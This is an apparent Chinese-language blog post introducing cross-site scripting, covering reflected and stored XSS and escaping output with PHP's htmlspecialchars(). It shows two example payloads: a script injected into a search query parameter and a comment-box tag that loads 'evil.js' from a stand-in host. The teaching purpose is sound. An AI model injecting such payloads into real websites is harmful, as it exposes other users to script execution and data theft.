什麼是 XSS (Cross-Site Scripting)


Posted by christopher0404 on 2021-03-01

XSS(Cross-Site Scripting)是一種網站應用程式的安全漏洞攻擊,攻擊者注入 client-side scripts 到網頁上,其他使用者在觀看網頁時就會受到影響,通常是 JavaScript,但實際上也可以包括 Java、VBScript、ActiveX、Flash,甚至是普通的 HTML。這些惡意網頁程式可能改變網站的行為和外觀、竊取其他使用者的敏感資訊、甚至以被攻擊者的身份執行一些操作。

攻擊原理

XSS 目前沒有統一的分類標準,不過大多數專家將其區分為至少兩種主要類型:非持久型(non-persistent)、持久型(persistent)。(還有 DOM-based XSS

Non-persistent (or reflected)

非持久型(或反射型)XSS 常見於 HTTP query parameters,像是以 GET 方法傳送資料給伺服器時,伺服器未檢查就將內容回應到網頁上所產生的漏洞。

例如,網站是使用網址上的參數來顯示搜尋結果,攻擊者就可以利用參數的值改為 JavaScript 來執行:

http://example.com/search?q=><script%20type='application/javascript'>alert('xss');</script>

Persistent (or stored)

持久型(或儲存型)XSS 常見於留言板、論壇等。若沒有做適當地檢查,輸入的內容就會被當作一般的 HTML 執行,由於內容會被保存在伺服器資料庫中,當其他使用者訪問時,網站便會自動執行攻擊者所輸入的指令。

例如,在留言處輸入 <script> 來載入其他來源的檔案:

<script src="<http://example.com/evil.js>"></script>

防範方法

防範 XSS 的方法之一,是將使用者輸入的內容進行過濾,許多程式語言都有提供函式,能夠在 HTML 輸出前,針對特殊符號做編碼或者跳脫處理。

以 PHP 為例,可以使用 htmlentities()htmlspecialchars() 過濾特殊字元。

$str = "<script>alert('XSS')</script>";
echo htmlspecialchars($str);

上面的字串會被編碼成:

&lt;script&gt;alert(&#039;XSS&#039;)&lt;/script&gt;

References


#Security #xss #Cross-Site Scripting #javascript







Related Posts

自動化測試 x Puppeteer - 玩偶QA參一咖 Day06

自動化測試 x Puppeteer - 玩偶QA參一咖 Day06

D37_W4 寫作業

D37_W4 寫作業

Day04 LINE - Messaging API

Day04 LINE - Messaging API


Comments